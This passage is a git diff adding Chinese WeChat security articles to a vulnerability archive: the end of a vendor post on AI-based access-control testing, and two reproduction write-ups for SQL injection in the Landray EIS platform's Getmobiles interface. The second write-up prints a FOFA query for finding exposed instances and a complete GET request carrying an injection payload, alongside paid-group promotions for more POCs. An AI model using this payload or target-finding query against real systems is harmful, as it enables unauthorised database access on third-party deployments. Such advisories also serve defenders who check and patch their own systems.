+将高权限请求的凭证替换为低权限或直接移除，模拟低权限/无权限访问；再通过程序预检与语义分析，对比响应差异，精准识别低权限下违规获取数据或执行高危操作的漏洞。 + + +**同时，针对越权检测长期存在的“误报重灾区”难题，斗象APTP搭建了全链路误报防控体系：** +从 +**前置过滤** +剔除无效流量、**智能去重** +避免重复扫描，再到**规则兜底** +排除公开接口与高熵加密ID等常见干扰项，层层把关，从源头杜绝误报。 + + +![](https://mmecoa.qpic.cn/sz_mmecoa_png/jpCFCFfaGRFtk8yM142cWRyxLTR5qE9icfSKLxlRINez32G1vDkPn3ZRkE50dmMt3hrSDk18icE0X9sQa6xpC7bV8icCh9p2YlvlWReOULIqZQ/640?wx_fmt=png "") + +在多轮标准靶场与真实业务场景实测中，AI越权检测能力表现稳定，可全面覆盖主流越权攻击场景。 + + +![](https://mmecoa.qpic.cn/mmecoa_gif/jpCFCFfaGREfSqg6SOZPibLO8UAdkF0LICLibxtnvialuW0LrtrI2Sy03Ch0JicbxaJVUUTdkvQmpIHxAm0bRNGmhCJUnr761ganEJ8jkDqmbfk/640?wx_fmt=gif "") + + +**以某站点实测为例：** +系统在识别到name为疑似敏感参数后，AI引擎自动构造了包括 admin、testuser在内的多组测试请求进行遍历。通过深度语义分析，AI精准捕捉到数据随参数变化的异常，确认存在越权风险，并输出了包含完整证据链的高置信度告警。 + + +传统工具只会告诉你“有漏洞”或“没漏洞”，斗象APTP还能生成**完整的漏洞研判报告。** + 置信度分级处置、全流程证据留存、一键对接修复，扫出来的结果可以直接用起来。 + + +![](https://mmecoa.qpic.cn/mmecoa_png/jpCFCFfaGRFZnAFCiaaNM3xyYlGxOuAPz7XQibmJpx2pFsUtNcNWAbTqyzMDA0l7YWqAPccO5VibjZGBnz2WM6uEFAjmSPrYgfjxogytuo1Lkg/640?wx_fmt=png "") + + +越权漏洞之所以长期难以规模化治理，核心症结在于传统检测高度依赖人工研判，误报率高、权限边界判定难度大，极度消耗人力与经验。 + + +**斗象APTP「AI越权漏洞检测」把最难的环节自动化。** +让AI完成参数篡改、身份切换、响应比对等核心动作，摆脱对人工经验的重度依赖，实现标准化、可复核、可批量落地的常态化巡检。 + + +![](https://mmecoa.qpic.cn/mmecoa_png/jpCFCFfaGRGx6FDJVFYI9LBT4pRr5k0qpBfJ2QptruU35NJzRweZlK2mH0cz4q2ic3hkoktIPxoYal2kpdsic1AFLRBkuRYU3gEjqM6XGQ6gI/640?wx_fmt=png "") + + diff --git a/doc/2026-06/蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞.md b/doc/2026-06/蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞.md new file mode 100644 index 00000000..102a6c5c --- /dev/null +++ b/doc/2026-06/蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞.md @@ -0,0 +1,57 @@ +# 蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞 +原创 安羽安全 + 安羽安全 安羽安全 2026-06-29 02:03 + +**01****免责声明：** + +文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。 + +**02    漏洞描述** + +蓝凌EIS智慧协同平台 Getmobiles 存在SQL注入漏洞  +漏洞 +复现 poc +。 + +**fofa：body="/sc ripts/jquery.landray.common.js" || body="v11_QRcodeBar clr" || title="智慧协同平台" && body="欢迎登录智慧协同平台"** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7uGSKhxx9uibzffZE4rx1t98zZgjT45MsbfL6ickLhIYYEXgBwIDKrrMwfkRunNNwvasbCW5TFcAnQ0P9p1cPzb8PT30HBqib4rwE/640?wx_fmt=png&from=appmsg "") +## 03    漏洞复现  + +1、访问系统 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7vK2LX2iaV1UjsOnRHqibIc7kNnHGbFB4CLZiazAgHyT7Lm6VN30qrVm9oeJcnxppWfMwna9wjs5ovL8yC1IeiaiaL1HxWrGcYvNHvY/640?wx_fmt=png&from=appmsg "") + +2 +、漏洞验证 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7uONhjJjGHeUicPaBBIkY77dsoOUic9JaMqpLhzOvFqSEvNVEGsetYiaRNvPzu69UQibaVHb44SqGsDpKbzeuEcVG1altiaKP47sToU/640?wx_fmt=png&from=appmsg "") + +**关注公众号回复：260629 获取漏洞POC详情** + +**04    漏洞详情** + +**Nuclei 批量自查验证脚本，加入下方内部圈子获取** + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7vYQgaUNnMaGwgKYz0lSfO8zvYOeHkWwMNOmZvhWWoWPaeRz0PzXibBtVKv1J7ExslA8NdFhLyRibVhK5IzEQN0kicT4D5laUBjIw/640?wx_fmt=png&from=appmsg "") + +**圈子目前福利：** + +整合全网公开1day/Nday漏洞POC、漏洞复现 + +每周持续更新，已更新漏洞500+ + +md5帮忙解密、凌风云网盘搜索 帮忙下载资源 + +后续福利还在增加中...... + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7s3zIwW89fh2MxrvowUy9XtAWZaV1iad6c68a84Sly1ZETmv3gYUm6pFibuiatB2gM2BPILviaGgj5BbelDyYVHwcaJE3K9I2l8dia4/640?wx_fmt=png&from=appmsg "") + +**漏洞持续更新中，限时 39 一年** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7uXeTJvV9h2ejgf7icvs8xGP9E7htN3JM3YDcqKfKHxACUxkDCb285d8Xmr6nh3lXwIoicVuuVsicqJdg0fBIY6zCWk8eaZ1crAtc/640?wx_fmt=png&from=appmsg "") + +扫描上方图片 二维码即可加入纷传内部圈子 + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7uEkTwg3fZp16B5KulTOxVVuIoaI17qkX5zqJjM7vbOia1LAD8oDoicHO8gGdNIMWia8Ijtj3t4gVBEHiaHHws7VDv09VGIpFibuuYM/640?wx_fmt=png&from=appmsg "") + diff --git a/doc/2026-06/蓝凌EIS智慧协同平台mobile_define.aspx∕Getmobiles接口存在SQL注入漏洞 附POC.md b/doc/2026-06/蓝凌EIS智慧协同平台mobile_define.aspx∕Getmobiles接口存在SQL注入漏洞 附POC.md new file mode 100644 index 00000000..9583c393 --- /dev/null +++ b/doc/2026-06/蓝凌EIS智慧协同平台mobile_define.aspx∕Getmobiles接口存在SQL注入漏洞 附POC.md @@ -0,0 +1,90 @@ +# 蓝凌EIS智慧协同平台mobile_define.aspx/Getmobiles接口存在SQL注入漏洞 附POC +2026-6-29更新 + 2026-6-29更新 南风漏洞复现文库 2026-06-28 23:33 + +  + +# + +免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 +## 1. 蓝凌EIS智慧协同平台简介 + +微信公众号搜索：南风漏洞复现文库 +该文章 南风漏洞复现文库 公众号首发 + +本人只有 南风漏洞复现文库 和 南风网络安全 + 这两个公众号，其他公众号有意冒充，请注意甄别，避免上当受骗。 + +蓝凌智慧协同平台eis集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求 +## 2.漏洞描述 + +蓝凌智慧协同平台eis集合了非常丰富的模块，满足组织企业在知识、协同、项目管理系统建设等需求。蓝凌EIS智慧协同平台mobile_define.aspx/Getmobiles接口存在SQL注入漏洞。 + +CVE编号: + +CNNVD编号: + +CNVD编号: +## 3.影响版本 + +蓝凌EIS智慧协同平台 +![蓝凌EIS智慧协同平台mobile_define.aspx/Getmobiles接口存在SQL注入漏洞](https://mmbiz.qpic.cn/mmbiz_png/b9KQYsB8q6xpFcMEiaTyez4Oa111OzMp6tcH9oaus1Jr7F0hE2mpAcCOKGl7Oan71E1x3BFXicZickvV09XnFbwm16Ndflpp9zhgxZWac7XuWI/640?wx_fmt=png&from=appmsg "null") + +蓝凌EIS智慧协同平台mobile_define.aspx/Getmobiles接口存在SQL注入漏洞 +## 4.fofa查询语句 + +body="/sc ripts/jquery.landray.common.js" || body="v11_QRcodeBar clr" || title="智慧协同平台"&& body="欢迎登录智慧协同平台" +## 5.漏洞复现 + +漏洞链接：http://xx.xx.xx.xx/Mobile/mobile_define.aspx/Getmobiles?flow_id=1%20and%201=@@version--+ + +漏洞数据包： +``` +GET /Mobile/mobile_define.aspx/Getmobiles?flow_id=1%20and%201=@@version--+ HTTP/1.1 +Host: xx.xx.xx.xx +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) +Accept: */* +Connection: Keep-Alive +``` + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6wuP8iaxLK4JtMcKGwdNJsgVdGbOTibrtibiakKpOsztI4ShCiakkI7icF3SR3O8ZnnratJribsXwkb4DTcBt2FksgQ4ef5Zf2eljIqVs/640?wx_fmt=jpeg&from=appmsg "null") + +## 6.POC&EXP + +本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球：南风网络安全 +1: 更新poc批量扫描软件，承诺，一周更新8-14个插件吧，我会优先写使用量比较大程序漏洞。 +2: 免登录，免费fofa查询。 +3: 更新其他实用网络安全工具项目。 +4: 免费指纹识别，持续更新指纹库。 +5: Nuclei脚本。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6yMr53Q4tGuY7edtfOPZ1Y22C39nZ8r2j3TDbMibyz40mbibOqoYF4LlSqpw4zxmUncJicy9Wia4iao8xjLarjKLicTd3mrHpTXPpb24/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b9KQYsB8q6wcicyOcBSxeTBzDkR2iaiczQ8lICAbjiaBib2NWCQyXXraBOtZYokNUYksfrxFv3ibttib7wOEGhGDGWmYAheOxiaNVVibAqg0ptF4qPg8/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6xv9A063gJPhm6UUMv3wWoLLtIxxootiaxic2FHKLcRR80ThaEttAELyxbZ1OGALppjzAIDjD8O7UibYI4d7Ifz4RicEu3AJcfY4Zw/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6w3hVLdahvIchRnfnHWyEqmiaY6fgBlFAMTzpSnJDem0aReVbwiahlPoUmqoibUqYSTjSdESkf4jatrqswuUw2I4kNCd0luEJp3TI/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6zrm626XMq3oDG9Yn0d57kJLcTcPvurmUCSfXM6IhssRyZmfeuaibUVNTibtazh9ciaSdULwaHh4XmRHjtc4WXg2985GzLARicotzo/640?wx_fmt=jpeg&from=appmsg "null") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/b9KQYsB8q6xErEVxCibQPv66kzuqy5bjvqpH0aS20FC9dL9LrqeRRPLQXnzoIiaa8CsP8Z84icv5vFcvqAMThYpfAJvhfZgKoiccDQMausYx0qQ/640?wx_fmt=jpeg&from=appmsg "null") + +## 7.整改意见 + +打补丁 +## 8.往期回顾 + + +  + +[LiteLLM存在远程命令执行漏洞CVE-2026-42271 附POC](https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247490626&idx=1&sn=3f97b8efebf755f4dff2377bb3acd43b&scene=21#wechat_redirect) + + + +